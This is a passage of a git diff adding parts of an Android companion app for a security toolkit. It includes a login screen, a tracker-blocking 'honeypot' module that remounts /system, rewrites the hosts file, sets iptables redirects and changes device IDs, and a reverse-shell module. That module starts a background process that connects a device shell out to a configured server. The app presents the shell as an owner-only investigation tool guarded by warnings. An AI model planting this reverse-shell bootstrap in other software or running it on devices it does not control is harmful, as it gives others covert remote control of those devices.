key, 5); + return (result != null && !result.isEmpty()) ? result.trim() : defaultVal; + } + + private static String readFile(String path, String defaultVal) { + String result = quickExec("cat " + path + " 2>/dev/null", 5); + return (result != null && !result.isEmpty()) ? result.trim() : defaultVal; + } + + // ── JSON helpers ─────────────────────────────────────────────── + + private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) { + String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") + + ",\"stdout\":" + jsonEscape(stdout) + + ",\"stderr\":" + jsonEscape(stderr) + + ",\"exit_code\":" + exitCode + "}"; + writer.println(msg); + writer.flush(); + } + + private static String jsonResult(String stdout, String stderr, int exitCode) { + return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) + + ",\"stderr\":" + jsonEscape(stderr) + + ",\"exit_code\":" + exitCode + "}"; + } + + private static String addId(String jsonResult, String id) { + if (id == null || id.isEmpty()) return jsonResult; + // Insert id field after opening brace + return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1); + } + + private static String jsonEscape(String s) { + if (s == null) return "\"\""; + StringBuilder sb = new StringBuilder("\""); + for (int i = 0; i < s.length(); i++) { + char c = s.charAt(i); + switch (c) { + case '"': sb.append("\\\""); break; + case '\\': sb.append("\\\\"); break; + case '\b': sb.append("\\b"); break; + case '\f': sb.append("\\f"); break; + case '\n': sb.append("\\n"); break; + case '\r': sb.append("\\r"); break; + case '\t': sb.append("\\t"); break; + default: + if (c < 0x20) { + sb.append(String.format("\\u%04x", (int) c)); + } else { + sb.append(c); + } + } + } + sb.append("\""); + return sb.toString(); + } + + private static String extractJsonString(String json, String key) { + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return null; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return null; + idx++; + + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + if (idx >= json.length() || json.charAt(idx) != '"') return null; + idx++; + + StringBuilder sb = new StringBuilder(); + while (idx < json.length()) { + char c = json.charAt(idx); + if (c == '\\' && idx + 1 < json.length()) { + char next = json.charAt(idx + 1); + switch (next) { + case '"': sb.append('"'); break; + case '\\': sb.append('\\'); break; + case 'n': sb.append('\n'); break; + case 'r': sb.append('\r'); break; + case 't': sb.append('\t'); break; + default: sb.append(next); break; + } + idx += 2; + } else if (c == '"') { + break; + } else { + sb.append(c); + idx++; + } + } + return sb.toString(); + } + + private static int extractJsonInt(String json, String key, int defaultVal) { + String search = "\"" + key + "\""; + int idx = json.indexOf(search); + if (idx < 0) return defaultVal; + + idx = json.indexOf(':', idx + search.length()); + if (idx < 0) return defaultVal; + idx++; + + while (idx < json.length() && json.charAt(idx) == ' ') idx++; + + StringBuilder sb = new StringBuilder(); + while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) { + sb.append(json.charAt(idx)); + idx++; + } + + try { + return Integer.parseInt(sb.toString()); + } catch (NumberFormatException e) { + return defaultVal; + } + } + + // ── Logging ──────────────────────────────────────────────────── + + private static void log(String msg) { + String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date()); + String line = timestamp + " [" + TAG + "] " + msg; + System.out.println(line); + + try { + FileWriter fw = new FileWriter(LOG_FILE, true); + fw.write(line + "\n"); + fw.close(); + } catch (IOException ignored) {} + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/LoginActivity.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/LoginActivity.kt new file mode 100644 index 0000000..02704b5 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/LoginActivity.kt @@ -0,0 +1,151 @@ +package com.darkhal.archon + +import android.content.Intent +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.widget.TextView +import android.widget.Toast +import androidx.appcompat.app.AppCompatActivity +import com.darkhal.archon.service.DiscoveryManager +import com.darkhal.archon.util.AuthManager +import com.darkhal.archon.util.PrefsManager +import com.google.android.material.button.MaterialButton +import com.google.android.material.textfield.TextInputEditText + +class LoginActivity : AppCompatActivity() { + + private lateinit var inputServerIp: TextInputEditText + private lateinit var inputPort: TextInputEditText + private lateinit var inputUsername: TextInputEditText + private lateinit var inputPassword: TextInputEditText + private lateinit var statusText: TextView + private lateinit var btnLogin: MaterialButton + private val handler = Handler(Looper.getMainLooper()) + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + + // If already logged in, skip to main + if (AuthManager.isLoggedIn(this)) { + // Quick session check in background, but go to main immediately + startMain() + return + } + + setContentView(R.layout.activity_login) + + inputServerIp = findViewById(R.id.input_login_server_ip) + inputPort = findViewById(R.id.input_login_port) + inputUsername = findViewById(R.id.input_login_username) + inputPassword = findViewById(R.id.input_login_password) + statusText = findViewById(R.id.login_status) + btnLogin = findViewById(R.id.btn_login) + + // Pre-fill from saved settings + val savedIp = PrefsManager.getServerIp(this) + if (savedIp.isNotEmpty()) { + inputServerIp.setText(savedIp) + } + inputPort.setText(PrefsManager.getWebPort(this).toString()) + + val savedUser = AuthManager.getUsername(this) + if (savedUser.isNotEmpty()) { + inputUsername.setText(savedUser) + } + + btnLogin.setOnClickListener { doLogin() } + + findViewById(R.id.btn_login_detect).setOnClickListener { + autoDetect(it as MaterialButton) + } + + findViewById(R.id.btn_login_skip).setOnClickListener { + startMain() + } + } + + private fun doLogin() { + val serverIp = inputServerIp.text.toString().trim() + val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181 + val username = inputUsername.text.toString().trim() + val password = inputPassword.text.toString().trim() + + if (serverIp.isEmpty()) { + statusText.text = "Enter server IP or tap AUTO-DETECT" + return + } + if (username.isEmpty() || password.isEmpty()) { + statusText.text = "Enter username and password" + return + } + + // Save server settings + PrefsManager.setServerIp(this, serverIp) + PrefsManager.setWebPort(this, port) + + btnLogin.isEnabled = false + btnLogin.text = "LOGGING IN..." + statusText.text = "Connecting to $serverIp:$port..." + + Thread { + val result = AuthManager.login(this@LoginActivity, username, password) + + handler.post { + btnLogin.isEnabled = true + btnLogin.text = "LOGIN" + + if (result.success) { + Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show() + startMain() + } else { + statusText.text = result.message + } + } + }.start() + } + + private fun autoDetect(btn: MaterialButton) { + btn.isEnabled = false + btn.text = "SCANNING..." + statusText.text = "Scanning for AUTARCH server..." + + val discovery = DiscoveryManager(this) + discovery.listener = object : DiscoveryManager.Listener { + override fun onServerFound(server: DiscoveryManager.DiscoveredServer) { + discovery.stopDiscovery() + handler.post { + if (server.ip.isNotEmpty()) { + inputServerIp.setText(server.ip) + } + if (server.port > 0) { + inputPort.setText(server.port.toString()) + } + statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}" + btn.isEnabled = true + btn.text = "AUTO-DETECT" + } + } + + override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {} + + override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) { + handler.post { + if (discovery.getDiscoveredServers().isEmpty()) { + statusText.text = "No AUTARCH server found on network" + } + btn.isEnabled = true + btn.text = "AUTO-DETECT" + } + } + + override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {} + } + discovery.startDiscovery() + } + + private fun startMain() { + startActivity(Intent(this, MainActivity::class.java)) + finish() + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt new file mode 100644 index 0000000..877e75d --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/MainActivity.kt @@ -0,0 +1,26 @@ +package com.darkhal.archon + +import android.os.Bundle +import androidx.appcompat.app.AppCompatActivity +import androidx.navigation.fragment.NavHostFragment +import androidx.navigation.ui.setupWithNavController +import com.darkhal.archon.module.ModuleManager +import com.google.android.material.bottomnavigation.BottomNavigationView + +class MainActivity : AppCompatActivity() { + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(R.layout.activity_main) + + // Initialize module registry + ModuleManager.init() + + val navHostFragment = supportFragmentManager + .findFragmentById(R.id.nav_host_fragment) as NavHostFragment + val navController = navHostFragment.navController + + val bottomNav = findViewById(R.id.bottom_nav) + bottomNav.setupWithNavController(navController) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ArchonModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ArchonModule.kt new file mode 100644 index 0000000..bfe7afc --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ArchonModule.kt @@ -0,0 +1,38 @@ +package com.darkhal.archon.module + +import android.content.Context + +/** + * Interface for Archon extension modules. + * Modules provide security/privacy actions that run through PrivilegeManager. + */ +interface ArchonModule { + val id: String + val name: String + val description: String + val version: String + + fun getActions(): List + fun executeAction(actionId: String, context: Context): ModuleResult + fun getStatus(context: Context): ModuleStatus +} + +data class ModuleAction( + val id: String, + val name: String, + val description: String, + val privilegeRequired: Boolean = true, + val rootOnly: Boolean = false +) + +data class ModuleResult( + val success: Boolean, + val output: String, + val details: List = emptyList() +) + +data class ModuleStatus( + val active: Boolean, + val summary: String, + val details: Map = emptyMap() +) diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/HoneypotModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/HoneypotModule.kt new file mode 100644 index 0000000..deb24a6 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/HoneypotModule.kt @@ -0,0 +1,330 @@ +package com.darkhal.archon.module + +import android.content.Context +import com.darkhal.archon.util.PrivilegeManager + +/** + * Tracking Honeypot module — blocks ad trackers, resets IDs, fakes device fingerprints. + * Ported from AUTARCH core/android_protect.py honeypot section. + * + * Tier 1: ADB-level (no root) — ad ID, DNS, scanning, diagnostics + * Tier 2: ADB-level (app-specific) — restrict trackers, revoke perms, clear data + * Tier 3: Root only — hosts blocklist, iptables, fake location, randomize identity + */ +class HoneypotModule : ArchonModule { + + override val id = "honeypot" + override val name = "Tracking Honeypot" + override val description = "Block trackers & fake device fingerprint data" + override val version = "1.0" + + // Well-known tracker packages + private val knownTrackers = listOf( + "com.google.android.gms", // Google Play Services (partial) + "com.facebook.katana", // Facebook + "com.facebook.orca", // Messenger + "com.instagram.android", // Instagram + "com.zhiliaoapp.musically", // TikTok + "com.twitter.android", // Twitter/X + "com.snapchat.android", // Snapchat + "com.amazon.mShop.android.shopping", // Amazon + ) + + override fun getActions(): List = listOf( + // Tier 1: ADB-level, no root + ModuleAction("reset_ad_id", "Reset Ad ID", "Delete and regenerate advertising ID"), + ModuleAction("opt_out_tracking", "Opt Out Tracking", "Enable limit_ad_tracking system setting"), + ModuleAction("set_private_dns", "Set Private DNS", "Configure DNS-over-TLS (blocks tracker domains)"), + ModuleAction("disable_scanning", "Disable Scanning", "Turn off WiFi/BLE background scanning"), + ModuleAction("disable_diagnostics", "Disable Diagnostics", "Stop sending crash/usage data to Google"), + ModuleAction("harden_all", "Harden All (Tier 1)", "Apply all Tier 1 protections at once"), + + // Tier 2: ADB-level, app-specific + ModuleAction("restrict_trackers", "Restrict Trackers", "Deny background activity for known trackers"), + ModuleAction("revoke_tracker_perms", "Revoke Tracker Perms", "Remove location/phone/contacts from trackers"), + ModuleAction("force_stop_trackers", "Force Stop Trackers", "Kill all known tracker apps"), + + // Tier 3: Root only + ModuleAction("deploy_hosts", "Deploy Hosts Blocklist", "Block tracker domains via /etc/hosts", rootOnly = true), + ModuleAction("setup_iptables", "Setup Iptables Redirect", "Redirect tracker traffic to honeypot", rootOnly = true), + ModuleAction("randomize_identity", "Randomize Identity", "Change android_id and device fingerprint", rootOnly = true), + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + return when (actionId) { + "reset_ad_id" -> resetAdId() + "opt_out_tracking" -> optOutTracking() + "set_private_dns" -> setPrivateDns() + "disable_scanning" -> disableScanning() + "disable_diagnostics" -> disableDiagnostics() + "harden_all" -> hardenAll() + "restrict_trackers" -> restrictTrackers() + "revoke_tracker_perms" -> revokeTrackerPerms() + "force_stop_trackers" -> forceStopTrackers() + "deploy_hosts" -> deployHostsBlocklist() + "setup_iptables" -> setupIptablesRedirect() + "randomize_identity" -> randomizeIdentity() + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + val method = PrivilegeManager.getAvailableMethod() + val tier = when (method) { + PrivilegeManager.Method.ROOT -> "Tier 1-3 (full)" + PrivilegeManager.Method.ARCHON_SERVER, + PrivilegeManager.Method.LOCAL_ADB, + PrivilegeManager.Method.SERVER_ADB -> "Tier 1-2 (ADB)" + PrivilegeManager.Method.NONE -> "Unavailable" + } + return ModuleStatus( + active = method != PrivilegeManager.Method.NONE, + summary = "Available: $tier" + ) + } + + // ── Tier 1: ADB-level, system-wide ────────────────────────────── + + private fun resetAdId(): ModuleResult { + val cmds = listOf( + "settings delete secure advertising_id", + "settings put secure limit_ad_tracking 1", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Advertising ID reset, tracking limited" + ) + } + + private fun optOutTracking(): ModuleResult { + val cmds = listOf( + "settings put secure limit_ad_tracking 1", + "settings put global are_app_usage_stats_enabled 0", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Ad tracking opt-out enabled" + ) + } + + private fun setPrivateDns(): ModuleResult { + val provider = "dns.adguard-dns.com" // AdGuard DNS blocks trackers + val cmds = listOf( + "settings put global private_dns_mode hostname", + "settings put global private_dns_specifier $provider", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Private DNS set to $provider (tracker blocking)" + ) + } + + private fun disableScanning(): ModuleResult { + val cmds = listOf( + "settings put global wifi_scan_always_enabled 0", + "settings put global ble_scan_always_enabled 0", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "WiFi/BLE background scanning disabled" + ) + } + + private fun disableDiagnostics(): ModuleResult { + val cmds = listOf( + "settings put global send_action_app_error 0", + "settings put secure send_action_app_error 0", + "settings put global upload_apk_enable 0", + ) + val results = cmds.map { PrivilegeManager.execute(it) } + return ModuleResult( + success = results.all { it.exitCode == 0 }, + output = "Diagnostics and crash reporting disabled" + ) + } + + private fun hardenAll(): ModuleResult { + val actions = listOf( + "Ad ID" to ::resetAdId, + "Tracking" to ::optOutTracking, + "DNS" to ::setPrivateDns, + "Scanning" to ::disableScanning, + "Diagnostics" to ::disableDiagnostics, + ) + val details = mutableListOf() + var success = true + for ((name, action) in actions) { + val result = action() + details.add("$name: ${result.output}") + if (!result.success) success = false + } + return ModuleResult( + success = success, + output = "Applied ${actions.size} Tier 1 protections", + details = details + ) + } + + // ── Tier 2: ADB-level, app-specific ───────────────────────────── + + private fun restrictTrackers(): ModuleResult { + val details = mutableListOf() + var restricted = 0 + for (pkg in knownTrackers) { + val check = PrivilegeManager.execute("pm list packages | grep $pkg") + if (check.stdout.contains(pkg)) { + val r = PrivilegeManager.execute("cmd appops set $pkg RUN_IN_BACKGROUND deny") + if (r.exitCode == 0) { + restricted++ + details.add("Restricted: $pkg") + } + } + } + return ModuleResult( + success = true, + output = "$restricted tracker(s) restricted from background", + details = details + ) + } + + private fun revokeTrackerPerms(): ModuleResult { + val dangerousPerms = listOf( + "android.permission.ACCESS_FINE_LOCATION", + "android.permission.ACCESS_COARSE_LOCATION", + "android.permission.READ_PHONE_STATE", + "android.permission.READ_CONTACTS", + "android.permission.RECORD_AUDIO", + "android.permission.CAMERA", + ) + val details = mutableListOf() + var totalRevoked = 0 + + for (pkg in knownTrackers) { + val check = PrivilegeManager.execute("pm list packages | grep $pkg") + if (!check.stdout.contains(pkg)) continue + + var pkgRevoked = 0 + for (perm in dangerousPerms) { + val r = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null") + if (r.exitCode == 0) pkgRevoked++ + } + if (pkgRevoked > 0) { + totalRevoked += pkgRevoked + details.add("$pkg: revoked $pkgRevoked permissions") + } + } + return ModuleResult( + success = true, + output = "Revoked $totalRevoked permissions from trackers", + details = details + ) + } + + private fun forceStopTrackers(): ModuleResult { + val details = mutableListOf() + var stopped = 0 + for (pkg in knownTrackers) { + val check = PrivilegeManager.execute("pm list packages | grep $pkg") + if (check.stdout.contains(pkg)) { + PrivilegeManager.execute("am force-stop $pkg") + stopped++ + details.add("Stopped: $pkg") + } + } + return ModuleResult( + success = true, + output = "$stopped tracker(s) force-stopped", + details = details + ) + } + + // ── Tier 3: Root only ─────────────────────────────────────────── + + private fun deployHostsBlocklist(): ModuleResult { + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) { + return ModuleResult(false, "Root access required for hosts file modification") + } + + val trackerDomains = listOf( + "graph.facebook.com", "pixel.facebook.com", "an.facebook.com", + "analytics.google.com", "adservice.google.com", "pagead2.googlesyndication.com", + "analytics.tiktok.com", "log.byteoversea.com", + "graph.instagram.com", + "ads-api.twitter.com", "analytics.twitter.com", + "tr.snapchat.com", "sc-analytics.appspot.com", + ) + + val hostsEntries = trackerDomains.joinToString("\n") { "0.0.0.0 $it" } + val cmds = listOf( + "mount -o remount,rw /system 2>/dev/null || true", + "cp /system/etc/hosts /system/etc/hosts.bak 2>/dev/null || true", + "echo '# AUTARCH Honeypot blocklist\n$hostsEntries' >> /system/etc/hosts", + "mount -o remount,ro /system 2>/dev/null || true", + ) + + for (cmd in cmds) { + PrivilegeManager.execute(cmd) + } + + return ModuleResult( + success = true, + output = "Deployed ${trackerDomains.size} tracker blocks to /system/etc/hosts" + ) + } + + private fun setupIptablesRedirect(): ModuleResult { + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) { + return ModuleResult(false, "Root access required for iptables") + } + + val cmds = listOf( + "iptables -t nat -N AUTARCH_HONEYPOT 2>/dev/null || true", + "iptables -t nat -F AUTARCH_HONEYPOT", + // Redirect known tracker IPs to localhost (honeypot) + "iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 157.240.0.0/16 -j REDIRECT --to-port 8443", + "iptables -t nat -A AUTARCH_HONEYPOT -p tcp --dport 443 -d 31.13.0.0/16 -j REDIRECT --to-port 8443", + "iptables -t nat -A OUTPUT -j AUTARCH_HONEYPOT", + ) + + val details = mutableListOf() + for (cmd in cmds) { + val r = PrivilegeManager.execute(cmd) + if (r.exitCode == 0) details.add("OK: ${cmd.take(60)}") + } + + return ModuleResult( + success = true, + output = "Iptables honeypot chain configured", + details = details + ) + } + + private fun randomizeIdentity(): ModuleResult { + if (PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.ROOT) { + return ModuleResult(false, "Root access required for identity randomization") + } + + val randomId = (1..16).map { "0123456789abcdef".random() }.joinToString("") + val cmds = listOf( + "settings put secure android_id $randomId", + "settings delete secure advertising_id", + "settings put secure limit_ad_tracking 1", + ) + + val details = mutableListOf() + for (cmd in cmds) { + val r = PrivilegeManager.execute(cmd) + details.add("${if (r.exitCode == 0) "OK" else "FAIL"}: ${cmd.take(50)}") + } + + return ModuleResult( + success = true, + output = "Identity randomized (android_id=$randomId)", + details = details + ) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ModuleManager.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ModuleManager.kt new file mode 100644 index 0000000..5605898 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ModuleManager.kt @@ -0,0 +1,41 @@ +package com.darkhal.archon.module + +import android.content.Context +import android.util.Log + +/** + * Central registry for Archon modules. + * Modules register at init time and can be discovered/invoked by the UI. + */ +object ModuleManager { + + private const val TAG = "ModuleManager" + private val modules = mutableListOf() + private var initialized = false + + fun init() { + if (initialized) return + register(ShieldModule()) + register(HoneypotModule()) + register(ReverseShellModule()) + initialized = true + Log.i(TAG, "Initialized with ${modules.size} modules") + } + + fun register(module: ArchonModule) { + if (modules.none { it.id == module.id }) { + modules.add(module) + Log.i(TAG, "Registered module: ${module.id} (${module.name})") + } + } + + fun getAll(): List = modules.toList() + + fun get(id: String): ArchonModule? = modules.find { it.id == id } + + fun executeAction(moduleId: String, actionId: String, context: Context): ModuleResult { + val module = get(moduleId) + ?: return ModuleResult(false, "Module not found: $moduleId") + return module.executeAction(actionId, context) + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ReverseShellModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ReverseShellModule.kt new file mode 100644 index 0000000..edc7c58 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ReverseShellModule.kt @@ -0,0 +1,274 @@ +package com.darkhal.archon.module + +import android.content.Context +import android.util.Log +import com.darkhal.archon.service.LocalAdbClient +import com.darkhal.archon.util.PrefsManager +import java.io.BufferedReader +import java.io.InputStreamReader +import java.io.OutputStreamWriter +import java.io.PrintWriter +import java.net.InetSocketAddress +import java.net.Socket +import java.util.UUID + +/** + * Reverse Shell module — connects back to the AUTARCH server for remote device management. + * + * SAFETY GATES: + * 1. Disabled by default — must be explicitly enabled + * 2. Three warning prompts before enabling (enforced in UI) + * 3. Kill switch — disconnect at any time from app or by force-stopping + * 4. Audit log — all commands logged at /data/local/tmp/archon_shell.log + * 5. Auto-timeout — connection drops after configurable time (default 30 min) + * 6. Server verification — only connects to configured AUTARCH server IP + * 7. Token auth — random token per session + * + * The shell process (ArchonShell.java) runs via app_process at UID 2000, + * same as ArchonServer. It connects OUTBOUND to AUTARCH's RevShellListener. + */ +class ReverseShellModule : ArchonModule { + + override val id = "revshell" + override val name = "Reverse Shell" + override val description = "Remote shell connection to AUTARCH server for device investigation" + override val version = "1.0" + + companion object { + private const val TAG = "ReverseShellModule" + private const val PREFS_NAME = "archon_revshell" + private const val KEY_ENABLED = "revshell_enabled" + private const val KEY_WARNING_ACCEPTED = "revshell_warnings_accepted" + private const val KEY_PORT = "revshell_port" + private const val KEY_TIMEOUT = "revshell_timeout_min" + private const val KEY_SESSION_TOKEN = "revshell_session_token" + private const val DEFAULT_PORT = 17322 + private const val DEFAULT_TIMEOUT = 30 // minutes + private const val SHELL_PROCESS_NAME = "archon_shell" + + // Warning messages shown before enabling (UI enforces showing all 3) + val WARNINGS = listOf( + "This enables a reverse shell connection to your AUTARCH server. " + + "This gives remote shell access (UID 2000) to this device.", + "Only enable this on devices YOU own. Never enable on someone else's device. " + + "This is a defensive tool for investigating threats on your own phone.", + "The reverse shell will connect to your configured AUTARCH server. " + + "You can disable it at any time from this screen or by force-stopping the app." + ) + } + + override fun getActions(): List = listOf( + ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false), + ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false), + ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"), + ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"), + ModuleAction("status", "Status", "Check connection status", privilegeRequired = false), + ) + + override fun executeAction(actionId: String, context: Context): ModuleResult { + return when (actionId) { + "enable" -> enable(context) + "disable" -> disable(context) + "connect" -> connect(context) + "disconnect" -> disconnect(context) + "status" -> status(context) + else -> ModuleResult(false, "Unknown action: $actionId") + } + } + + override fun getStatus(context: Context): ModuleStatus { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + val enabled = prefs.getBoolean(KEY_ENABLED, false) + val connected = isShellRunning() + + val summary = when { + connected -> "Connected to AUTARCH" + enabled -> "Enabled — not connected" + else -> "Disabled" + } + + return ModuleStatus( + active = connected, + summary = summary, + details = mapOf( + "enabled" to enabled.toString(), + "connected" to connected.toString(), + "port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(), + "timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min" + ) + ) + } + + // ── Actions ───────────────────────────────────────────────────── + + private fun enable(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + + // Check if warnings were accepted (UI sets this after showing all 3) + if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) { + return ModuleResult( + false, + "Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.", + WARNINGS + ) + } + + prefs.edit().putBoolean(KEY_ENABLED, true).apply() + Log.i(TAG, "Reverse shell ENABLED") + return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.") + } + + private fun disable(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + + // Kill any active shell first + if (isShellRunning()) { + killShell() + } + + prefs.edit() + .putBoolean(KEY_ENABLED, false) + .putBoolean(KEY_WARNING_ACCEPTED, false) + .remove(KEY_SESSION_TOKEN) + .apply() + + Log.i(TAG, "Reverse shell DISABLED") + return ModuleResult(true, "Reverse shell disabled. All connections terminated.") + } + + private fun connect(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + + if (!prefs.getBoolean(KEY_ENABLED, false)) { + return ModuleResult(false, "Reverse shell is disabled. Enable it first.") + } + + if (isShellRunning()) { + return ModuleResult(false, "Shell is already connected. Disconnect first.") + } + + // Get server IP from main prefs + val serverIp = PrefsManager.getServerIp(context) + if (serverIp.isEmpty()) { + return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.") + } + + val port = prefs.getInt(KEY_PORT, DEFAULT_PORT) + val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT) + + // Generate session token + val token = UUID.randomUUID().toString().replace("-", "").take(32) + prefs.edit().putString(KEY_SESSION_TOKEN, token).apply() + + // Get APK path for app_process bootstrap + val apkPath = context.applicationInfo.sourceDir + if (apkPath.isNullOrEmpty()) { + return ModuleResult(false, "Could not determine APK path") + } + + // Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs) + val bootstrapCmd = buildString { + append("TMPDIR=/data/local/tmp ") + append("CLASSPATH='$apkPath' ") + append("/system/bin/app_process /system/bin ") + append("com.darkhal.archon.server.ArchonShell ") + append("$serverIp $port $token $timeout") + } + + val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started" + + Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)") + + // Execute via LocalAdbClient (same as ArchonServer bootstrap) + val result = if (LocalAdbClient.isConnected()) { + LocalAdbClient.execute(fullCmd) + } else { + return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first") + } + + if (result.exitCode != 0 && !result.stdout.contains("started")) { + return ModuleResult(false, "Failed to start shell: ${result.stderr}") + } + + // Wait briefly for connection to establish + Thread.sleep(2000) + + return if (isShellRunning()) { + ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)") + } else { + ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.") + } + } + + private fun disconnect(context: Context): ModuleResult { + if (!isShellRunning()) { + return ModuleResult(true, "No active shell connection") + } + + killShell() + context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + .edit().remove(KEY_SESSION_TOKEN).apply() + + Thread.sleep(500) + return if (!isShellRunning()) { + ModuleResult(true, "Shell disconnected") + } else { + ModuleResult(false, "Shell process may still be running — try force-stopping the app") + } + } + + private fun status(context: Context): ModuleResult { + val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE) + val enabled = prefs.getBoolean(KEY_ENABLED, false) + val connected = isShellRunning() + val serverIp = PrefsManager.getServerIp(context) + val port = prefs.getInt(KEY_PORT, DEFAULT_PORT) + val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT) + + val details = mutableListOf() + details.add("Enabled: $enabled") + details.add("Connected: $connected") + details.add("Server: $serverIp:$port") + details.add("Timeout: ${timeout} minutes") + + if (connected) { + // Try to read the log tail + val logTail = try { + val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null")) + p.inputStream.bufferedReader().readText().trim() + } catch (e: Exception) { "" } + if (logTail.isNotEmpty()) { + details.add("--- Recent log ---") + details.add(logTail) + } + } + + return ModuleResult( + success = true, + output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled", + details = details + ) + } + + // ── Internal ──────────────────────────────────────────────────── + + private fun isShellRunning(): Boolean { + return try { + val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME")) + val output = process.inputStream.bufferedReader().readText().trim() + process.waitFor() + output.isNotEmpty() + } catch (e: Exception) { + false + } + } + + private fun killShell() { + try { + Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME")) + Log.i(TAG, "Killed reverse shell process") + } catch (e: Exception) { + Log.e(TAG, "Failed to kill shell", e) + } + } +} diff --git a/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ShieldModule.kt b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ShieldModule.kt new file mode 100644 index 0000000..55aef56 --- /dev/null +++ b/autarch_companion/app/src/main/kotlin/com/darkhal/archon/module/ShieldModule.kt @@ -0,0 +1,319 @@ +package com.darkhal.archon.module + +import android.content.Context +import com.darkhal.archon.util.PrivilegeManager + +/** + * Protection Shield module — scans for and removes stalkerware/spyware. + * Ported from AUTARCH core/android_protect.py. + * + * All commands run through PrivilegeManager → ArchonServer (UID 2000). + */ +class ShieldModule : ArchonModule { + + override val id = "shield" + override val name = 